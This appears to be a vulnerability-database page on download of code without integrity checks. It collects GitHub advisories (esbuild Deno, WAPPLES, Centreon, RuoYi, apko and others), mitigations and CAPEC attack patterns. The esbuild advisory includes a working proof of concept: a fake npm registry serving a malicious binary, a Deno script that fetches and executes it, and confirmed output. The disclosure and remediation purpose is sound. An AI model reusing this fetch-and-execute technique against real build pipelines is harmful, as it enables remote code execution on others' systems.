An attacker who can control the NPM_CONFIG_REGISTRY environment variable in a Deno project using esbuild can achieve arbitrary code execution with the privileges of the Deno process. This is particularly relevant in:

  • CI/CD pipelines where NPM_CONFIG_REGISTRY is commonly set to point to internal artifact repositories
  • Shared development environments where environment variables may be inherited from parent processes
  • Corporate networks where npm registry mirrors are configured via this environment variable

The attacker does not need to compromise the npm registry itself — only the environment variable or network path between the Deno process and the registry.

Suggested remediation

  1. Add SHA-256 integrity verification to the Deno module, mirroring the existing binaryIntegrityCheck() function from lib/npm/node-install.ts:
// In lib/deno/mod.ts, after extracting the binary:
const hashBuffer = await crypto.subtle.digest("SHA-256", executable);
const hash = Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join('');
const key = `${name}/${subpath}`;
const expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest
if (hash !== expected) throw new Error(`Binary integrity check failed for "${key}"`);
  1. Validate the NPM_CONFIG_REGISTRY URL to ensure it uses HTTPS (or at minimum warn about HTTP):
const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
if (npmRegistry.startsWith("http://")) {
  console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`);
}
  1. Add ESBUILD_BINARY_PATH validation in the Deno module, mirroring the isValidBinaryPath() check from lib/npm/node-platform.ts.

Regression test suggestion: Add a test that verifies the Deno download path rejects a binary with a mismatched SHA-256 hash.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "esbuild"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.17.0"
            },
            {
              "fixed": "0.28.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-426",
      "CWE-494"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T20:08:59Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Withdrawn Advisory\n\nThis advisory has been withdrawn because the affected package was incorrectly identified and the [actual affected package](https://github.com/esbuild/deno-esbuild) is not in a supported ecosystem. This link is maintained to preserve external references.\n\n## Original Description\n\n### Summary\n\nThe esbuild Deno module (`lib/deno/mod.ts`) downloads native binary executables from an npm registry and writes them to disk with executable permissions (`0o755`) **without performing any integrity verification** (e.g., SHA-256 hash check). The Node.js equivalent (`lib/npm/node-install.ts`) includes a robust `binaryIntegrityCheck()` function that verifies SHA-256 hashes against hardcoded expected values from `package.json`, but this protection was never implemented for the Deno distribution.\n\nWhen the `NPM_CONFIG_REGISTRY` environment variable is set, the Deno module constructs a download URL using this attacker-influenced value and fetches a native binary from it. Because no integrity check is performed, an attacker who can control this environment variable (common in CI/CD pipelines, shared development environments, or corporate networks with custom npm registries) can supply a malicious binary that will be downloaded, written to disk, and executed with the privileges of the Deno process, achieving full remote code execution.\n\n### Details\n\n**Vulnerable code path** \u2014 `lib/deno/mod.ts` lines 62\u201382:\n\n```typescript\nasync function installFromNPM(name: string, subpath: string): Promise\u003cstring\u003e {\n  const { finalPath, finalDir } = getCachePath(name)\n  try { await Deno.stat(finalPath); return finalPath } catch (e) {}\n\n  const npmRegistry = Deno.env.get(\"NPM_CONFIG_REGISTRY\") || \"https://registry.npmjs.org\"  // line 70: attacker-controlled\n  const url = `${npmRegistry}/${name}/-/${name.replace(\"@esbuild/\", \"\")}-${version}.tgz`     // line 71: URL uses attacker base\n  const buffer = await fetch(url).then(r =\u003e r.arrayBuffer())                                  // line 72: download\n  const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath)                   // line 73: extract\n\n  await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 })\n  await Deno.writeFile(finalPath, executable, { mode: 0o755 })                                 // line 80: write + chmod\n  return finalPath                                                                              // line 81: no hash check\n}\n```\n\n**Missing protection** \u2014 The Node.js equivalent at `lib/npm/node-install.ts` lines 228\u2013234:\n\n```typescript\nfunction binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void {\n  const hash = crypto.createHash(\u0027sha256\u0027).update(bytes).digest(\u0027hex\u0027)\n  const key = `${pkg}/${subpath}`\n  const expected = packageJSON[\u0027esbuild.binaryHashes\u0027][key]\n  if (!expected) throw new Error(`Missing hash for \"${key}\"`)\n  if (hash !== expected) throw new Error(...)\n}\n```\n\nThis function is called in both the `installUsingNPM()` path (line 131) and the `downloadDirectlyFromNPM()` path (line 243), but **no equivalent exists in the Deno module**. Searching the entire git history confirms `binaryIntegrityCheck`, `binaryHashes`, `sha256`, and `hash` have never appeared in `lib/deno/mod.ts`.\n\n**Execution flow after download:** The binary returned by `installFromNPM()` is passed to `spawn()` at line 291 of the same file:\n```typescript\nconst child = spawn(binPath, { args: [`--service=${version}`], ... })\n```\n\n**Attack vector:** The `NPM_CONFIG_REGISTRY` environment variable is a standard npm configuration variable widely used in enterprise CI/CD pipelines to point to internal artifact repositories (Artifactory, Nexus, Verdaccio, etc.). An attacker who can inject or modify this variable in a build environment (e.g., via CI config injection, shared environment, or compromised registry) can redirect the download to a server they control and serve a trojaned native binary.\n\n### PoC\n\n**Prerequisites:** Deno runtime, Node.js (for fake registry)\n\n**Step 1:** Create a fake npm registry that serves a malicious binary:\n\n```javascript\n// fake-registry.js\nconst http = require(\u0027http\u0027);\nconst zlib = require(\u0027zlib\u0027);\nhttp.createServer((req, res) =\u003e {\n  const fakeBin = \u0027#!/bin/sh\\necho PWNED \u003e /tmp/deno-esbuild-rce-proof.txt\\necho fake-esbuild-0.28.0\\n\u0027;\n  // ... build tar.gz with fake binary as package/bin/esbuild ...\n  res.writeHead(200, {\u0027Content-Length\u0027: gz.length});\n  res.end(gz);\n}).listen(19876, () =\u003e console.log(\u0027READY\u0027));\n```\n\n**Step 2:** Run the PoC with `NPM_CONFIG_REGISTRY` pointing to the fake server:\n\n```typescript\n// poc.ts \u2014 mimics lib/deno/mod.ts installFromNPM code path\nconst npmRegistry = Deno.env.get(\"NPM_CONFIG_REGISTRY\") || \"https://registry.npmjs.org\";\nconst url = `${npmRegistry}/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz`;\nconst buffer = new Uint8Array(await (await fetch(url)).arrayBuffer());\n// ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ...\nawait Deno.writeFile(\"/tmp/downloaded-binary\", executable, { mode: 0o755 });\n// *** NO integrity check performed ***\nconst cmd = new Deno.Command(\"/tmp/downloaded-binary\");\nawait cmd.output(); // RCE: executes attacker-controlled binary\n```\n\n**Step 3:** Run:\n```bash\nnode fake-registry.js \u0026\nNPM_CONFIG_REGISTRY=\"http://127.0.0.1:19876\" deno run --allow-all poc.ts\ncat /tmp/deno-esbuild-rce-proof.txt  # Output: PWNED\n```\n\n**Observed output in this environment:**\n```\nDownload URL: http://127.0.0.1:19876/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz\nBinary written to: /tmp/deno-poc/downloaded-binary\nBinary content: #!/bin/sh\necho PWNED \u003e /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n\nExecuting downloaded binary...\nstdout: fake-esbuild-0.28.0\n\n*** RCE CONFIRMED ***\nMarker file content: PWNED\n```\n\n**Build-local verification \u2014 using the actual built `deno/mod.js`:**\n\nThe esbuild Deno module was built from source (`node scripts/esbuild.js ./esbuild --deno`) producing `deno/mod.js`. The fake registry test was then re-run using the **actual module** via `import * as esbuild from \"file:///path/to/deno/mod.js\"`, triggering the real `installFromNPM()` \u2192 `installFromNPM()` code path:\n\n```\n[TEST] esbuild Deno module loaded\n[TEST] esbuild version: 0.28.0\n\n[TEST] *** RCE VIA ACTUAL MODULE CONFIRMED ***\n[TEST] Marker file content: VULN-CONFIRMED\n[TEST] The actual built deno/mod.js downloaded and executed\n[TEST] a malicious binary from the fake registry WITHOUT\n[TEST] performing any SHA-256 integrity verification.\n```\n\nThe malicious binary was cached at `~/.cache/esbuild/bin/@esbuild-linux-x64@0.28.0` with contents:\n```\n#!/bin/sh\necho \"VULN-CONFIRMED\" \u003e /tmp/esbuild-deno-verify-rce.txt\necho \"0.28.0\"\n```\n\nBuilt-in Deno module (`deno/mod.js`) confirmed to contain `NPM_CONFIG_REGISTRY` usage (line 1900) and zero references to `binaryIntegrityCheck`, `binaryHashes`, `sha256`, or `crypto.createHash`.\n\n**Negative/control case \u2014 Node.js rejects the same fake binary:**\n```\nFake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1\nExpected hash:       aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be\nHashes match: false\n=\u003e Node.js path REJECTS the fake binary (hash mismatch)\n=\u003e Deno path ACCEPTS it without any check\n```\n\n### Impact\n\nAn attacker who can control the `NPM_CONFIG_REGISTRY` environment variable in a Deno project using esbuild can achieve **arbitrary code execution** with the privileges of the Deno process. This is particularly relevant in:\n\n- **CI/CD pipelines** where `NPM_CONFIG_REGISTRY` is commonly set to point to internal artifact repositories\n- **Shared development environments** where environment variables may be inherited from parent processes\n- **Corporate networks** where npm registry mirrors are configured via this environment variable\n\nThe attacker does not need to compromise the npm registry itself \u2014 only the environment variable or network path between the Deno process and the registry.\n\n### Suggested remediation\n\n1. **Add SHA-256 integrity verification to the Deno module**, mirroring the existing `binaryIntegrityCheck()` function from `lib/npm/node-install.ts`:\n\n```typescript\n// In lib/deno/mod.ts, after extracting the binary:\nconst hashBuffer = await crypto.subtle.digest(\"SHA-256\", executable);\nconst hash = Array.from(new Uint8Array(hashBuffer)).map(b =\u003e b.toString(16).padStart(2, \u00270\u0027)).join(\u0027\u0027);\nconst key = `${name}/${subpath}`;\nconst expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest\nif (hash !== expected) throw new Error(`Binary integrity check failed for \"${key}\"`);\n```\n\n2. **Validate the `NPM_CONFIG_REGISTRY` URL** to ensure it uses HTTPS (or at minimum warn about HTTP):\n\n```typescript\nconst npmRegistry = Deno.env.get(\"NPM_CONFIG_REGISTRY\") || \"https://registry.npmjs.org\";\nif (npmRegistry.startsWith(\"http://\")) {\n  console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`);\n}\n```\n\n3. **Add `ESBUILD_BINARY_PATH` validation** in the Deno module, mirroring the `isValidBinaryPath()` check from `lib/npm/node-platform.ts`.\n\n**Regression test suggestion:** Add a test that verifies the Deno download path rejects a binary with a mismatched SHA-256 hash.",
  "id": "GHSA-gv7w-rqvm-qjhr",
  "modified": "2026-06-17T13:42:24Z",
  "published": "2026-06-12T20:08:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/evanw/esbuild/security/advisories/GHSA-gv7w-rqvm-qjhr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/evanw/esbuild"
    },
    {
      "type": "WEB",
      "url": "https://github.com/evanw/esbuild/releases/tag/v0.28.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Withdrawn Advisory: esbuild: Missing binary integrity verification in Deno module enables remote code execution via NPM_CONFIG_REGISTRY",
  "withdrawn": "2026-06-17T13:42:24Z"
}

GHSA-GW88-98XG-7785

Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2022-09-19 00:00
VLAI
Details

An arbitrary file download vulnerability in the downloadAction() function of Penta Security Systems Inc WAPPLES v6.0 r3 4.10-hotfix1 allows attackers to download arbitrary files via a crafted POST request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-31324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-13T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An arbitrary file download vulnerability in the downloadAction() function of Penta Security Systems Inc WAPPLES v6.0 r3 4.10-hotfix1 allows attackers to download arbitrary files via a crafted POST request.",
  "id": "GHSA-gw88-98xg-7785",
  "modified": "2022-09-19T00:00:28Z",
  "published": "2022-09-14T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31324"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@_sadshade/wapples-web-application-firewall-multiple-vulnerabilities-35bdee52c8fb"
    },
    {
      "type": "WEB",
      "url": "https://www.pentasecurity.com/product/wapples"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H46G-35R6-CHX9

Vulnerability from github – Published: 2025-05-13 12:31 – Updated: 2025-05-13 12:31
VLAI
Details

Download of Code Without Integrity Check vulnerability in Centreon web allows Reflected XSS. A user with elevated privileges can inject XSS by altering the content of a SVG media during the submit request. This issue affects web: from 24.10.0 before 24.10.5, from 24.04.0 before 24.04.11, from 23.10.0 before 23.10.22, from 23.04.0 before 23.04.27, from 22.10.0 before 22.10.29.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-4648"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-494"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-13T10:15:29Z",
    "severity": "HIGH"
  },
  "details": "Download of Code Without Integrity Check vulnerability in Centreon web allows Reflected XSS.\nA user with elevated privileges can inject XSS by altering the content of a SVG media during the submit request.\nThis issue affects web: from 24.10.0 before 24.10.5, from 24.04.0 before 24.04.11, from 23.10.0 before 23.10.22, from 23.04.0 before 23.04.27, from 22.10.0 before 22.10.29.",
  "id": "GHSA-h46g-35r6-chx9",
  "modified": "2025-05-13T12:31:37Z",
  "published": "2025-05-13T12:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4648"
    },
    {
      "type": "WEB",
      "url": "https://github.com/centreon/centreon/releases"
    },
    {
      "type": "WEB",
      "url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2024-55575-centreon-web-high-severity-4434"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H4C9-RR5M-32FM

Vulnerability from github – Published: 2023-04-02 03:30 – Updated: 2025-07-16 19:24
VLAI
Summary
RuoYi vulnerable to arbitrary file download
Details

An arbitrary file download vulnerability in the background management module of RuoYi v4.7.6 and below allows attackers to download arbitrary files in the server.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.ruoyi:ruoyi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-27025"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-07T21:01:39Z",
    "nvd_published_at": "2023-04-02T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "An arbitrary file download vulnerability in the background management module of RuoYi v4.7.6 and below allows attackers to download arbitrary files in the server.",
  "id": "GHSA-h4c9-rr5m-32fm",
  "modified": "2025-07-16T19:24:22Z",
  "published": "2023-04-02T03:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27025"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/y_project/RuoYi"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/y_project/RuoYi/commit/432d5ce1be2e9384a6230d7ccd8401eef5ce02b0"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/y_project/RuoYi/issues/I697Q5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RuoYi vulnerable to arbitrary file download"
}

GHSA-H6QH-8R3C-PC9V

Vulnerability from github – Published: 2026-06-26 00:32 – Updated: 2026-06-26 00:32
VLAI
Details

Parse Server before 4.10.0 was affected by a supply chain incident in which incorrect version tags were pushed to the official repository pointing to an unreviewed personal fork of a contributor with write access. No releases were published with these tags; a project was exposed only if it defined a git-based dependency referencing one of the affected tags (for example, parse-server#4.9.3). The code behind the tags was not reviewed or approved, and although no malicious code was identified, the introduction of security vulnerabilities could not be ruled out.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-47987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T22:16:58Z",
    "severity": "HIGH"
  },
  "details": "Parse Server before 4.10.0 was affected by a supply chain incident in which incorrect version tags were pushed to the official repository pointing to an unreviewed personal fork of a contributor with write access. No releases were published with these tags; a project was exposed only if it defined a git-based dependency referencing one of the affected tags (for example, parse-server#4.9.3). The code behind the tags was not reviewed or approved, and although no malicious code was identified, the introduction of security vulnerabilities could not be ruled out.",
  "id": "GHSA-h6qh-8r3c-pc9v",
  "modified": "2026-06-26T00:32:04Z",
  "published": "2026-06-26T00:32:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-593v-wcqx-hq2w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47987"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/parse-server-arbitrary-code-execution-via-malicious-version-tags"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HC5P-PW4X-WPQ8

Vulnerability from github – Published: 2022-07-07 00:00 – Updated: 2026-07-05 03:30
VLAI
Details

IOBit Advanced System Care 15, iTop Screen Recorder 2.1, iTop VPN 3.2, Driver Booster 9, and iTop Screenshot sends HTTP requests in their update procedure in order to download a config file. After downloading the config file, the products will parse the HTTP location of the update from the file and will try to install the update automatically with ADMIN privileges. An attacker Intercepting this communication can supply the product a fake config file with malicious locations for the updates thus gaining a remote code execution on an endpoint.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-24140"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-06T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IOBit Advanced System Care 15, iTop Screen Recorder 2.1, iTop VPN 3.2, Driver Booster 9, and iTop Screenshot sends HTTP requests in their update procedure in order to download a config file. After downloading the config file, the products will parse the HTTP location of the update from the file and will try to install the update automatically with ADMIN privileges. An attacker Intercepting this communication can supply the product a fake config file with malicious locations for the updates thus gaining a remote code execution on an endpoint.",
  "id": "GHSA-hc5p-pw4x-wpq8",
  "modified": "2026-07-05T03:30:49Z",
  "published": "2022-07-07T00:00:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24140"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tomerpeled92/CVE"
    },
    {
      "type": "WEB",
      "url": "http://advanced.com"
    },
    {
      "type": "WEB",
      "url": "http://iobit.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HCWR-PQ9G-RQ3M

Vulnerability from github – Published: 2026-05-04 21:27 – Updated: 2026-05-13 13:42
VLAI
Summary
apko doesn't verify downloaded apk packages against APKINDEX checksum (package substitution possible)
Details

apko verifies the signature on APKINDEX.tar.gz but never compares individually downloaded .apk packages against the checksum recorded in the signed index. The checksum is parsed and available via ChecksumString(), and the downloaded package control hash is computed, but the two values are never compared in getPackageImpl(). Mismatched packages are silently accepted. An attacker who can substitute download responses (compromised mirror, HTTP repository, poisoned CDN cache) can install arbitrary packages into built images.

Fix: No fix available yet.

Acknowledgements

apko thanks Oleh Konko from 1seal for discovering and reporting this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "chainguard.dev/apko"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42575"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-494"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T21:27:17Z",
    "nvd_published_at": "2026-05-09T20:16:29Z",
    "severity": "HIGH"
  },
  "details": "apko verifies the signature on `APKINDEX.tar.gz` but never compares individually downloaded `.apk` packages against the checksum recorded in the signed index. The checksum is parsed and available via `ChecksumString()`, and the downloaded package control hash is computed, but the two values are never compared in `getPackageImpl()`. Mismatched packages are silently accepted. An attacker who can substitute download responses (compromised mirror, HTTP repository, poisoned CDN cache) can install arbitrary packages into built images.\n\n**Fix:** No fix available yet.\n\n**Acknowledgements**\n\napko thanks Oleh Konko from [1seal](https://1seal.org/) for discovering and reporting this issue.",
  "id": "GHSA-hcwr-pq9g-rq3m",
  "modified": "2026-05-13T13:42:49Z",
  "published": "2026-05-04T21:27:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/apko/security/advisories/GHSA-hcwr-pq9g-rq3m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42575"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/apko/commit/a118c3d604107532b5525bd4bee2fb369a6228aa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chainguard-dev/apko"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/apko/releases/tag/v1.2.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "apko doesn\u0027t verify downloaded apk packages against APKINDEX checksum (package substitution possible)"
}

GHSA-HQGV-WX4F-4HMJ

Vulnerability from github – Published: 2023-12-14 15:30 – Updated: 2024-10-01 09:30
VLAI
Details

A download of code without integrity check vulnerability in PLCnext products allows an remote attacker with low privileges to compromise integrity on the affected engineering station and the connected devices.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-46144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-14T14:15:43Z",
    "severity": "HIGH"
  },
  "details": "A download of code without integrity check vulnerability in PLCnext products allows an remote attacker with low privileges to compromise integrity on the affected engineering station and the connected devices.",
  "id": "GHSA-hqgv-wx4f-4hmj",
  "modified": "2024-10-01T09:30:47Z",
  "published": "2023-12-14T15:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46144"
    },
    {
      "type": "WEB",
      "url": "https://https://cert.vde.com/en/advisories/VDE-2023-056"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-42
Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

Mitigation
Architecture and Design Operation
  • Encrypt the code with a reliable encryption scheme before transmitting.
  • This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code.
  • When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses.
  • Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].
Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-184: Software Integrity Attack

An attacker initiates a series of events designed to cause a user, program, server, or device to perform actions which undermine the integrity of software code, device data structures, or device firmware, achieving the modification of the target's integrity to achieve an insecure state.

CAPEC-185: Malicious Software Download

An attacker uses deceptive methods to cause a user or an automated process to download and install dangerous code that originates from an attacker controlled source. There are several variations to this strategy of attack.

CAPEC-186: Malicious Software Update

An adversary uses deceptive methods to cause a user or an automated process to download and install dangerous code believed to be a valid update that originates from an adversary controlled source.

CAPEC-187: Malicious Automated Software Update via Redirection

An attacker exploits two layers of weaknesses in server or client software for automated update mechanisms to undermine the integrity of the target code-base. The first weakness involves a failure to properly authenticate a server as a source of update or patch content. This type of weakness typically results from authentication mechanisms which can be defeated, allowing a hostile server to satisfy the criteria that establish a trust relationship. The second weakness is a systemic failure to validate the identity and integrity of code downloaded from a remote location, hence the inability to distinguish malicious code from a legitimate update.

CAPEC-533: Malicious Manual Software Update

An attacker introduces malicious code to the victim's system by altering the payload of a software update, allowing for additional compromise or site disruption at the victim location. These manual, or user-assisted attacks, vary from requiring the user to download and run an executable, to as streamlined as tricking the user to click a URL. Attacks which aim at penetrating a specific network infrastructure often rely upon secondary attack methods to achieve the desired impact. Spamming, for example, is a common method employed as an secondary attack vector. Thus the attacker has in their arsenal a choice of initial attack vectors ranging from traditional SMTP/POP/IMAP spamming and its varieties, to web-application mechanisms which commonly implement both chat and rich HTML messaging within the user interface.

CAPEC-538: Open-Source Library Manipulation

Adversaries implant malicious code in open source software (OSS) libraries to have it widely distributed, as OSS is commonly downloaded by developers and other users to incorporate into software development projects. The adversary can have a particular system in mind to target, or the implantation can be the first stage of follow-on attacks on many systems.

CAPEC-657: Malicious Automated Software Update via Spoofing

An attackers uses identify or content spoofing to trick a client into performing an automated software update from a malicious source. A malicious automated software update that leverages spoofing can include content or identity spoofing as well as protocol spoofing. Content or identity spoofing attacks can trigger updates in software by embedding scripted mechanisms within a malicious web page, which masquerades as a legitimate update source. Scripting mechanisms communicate with software components and trigger updates from locations specified by the attackers' server. The result is the client believing there is a legitimate software update available but instead downloading a malicious update from the attacker.

CAPEC-662: Adversary in the Browser (AiTB)

An adversary exploits security vulnerabilities or inherent functionalities of a web browser, in order to manipulate traffic between two endpoints.

CAPEC-691: Spoof Open-Source Software Metadata

An adversary spoofs open-source software metadata in an attempt to masquerade malicious software as popular, maintained, and trusted.

CAPEC-692: Spoof Version Control System Commit Metadata

An adversary spoofs metadata pertaining to a Version Control System (VCS) (e.g., Git) repository's commits to deceive users into believing that the maliciously provided software is frequently maintained and originates from a trusted source.

CAPEC-693: StarJacking

An adversary spoofs software popularity metadata to deceive users into believing that a maliciously provided package is widely used and originates from a trusted source.

CAPEC-695: Repo Jacking

An adversary takes advantage of the redirect property of directly linked Version Control System (VCS) repositories to trick users into incorporating malicious code into their applications.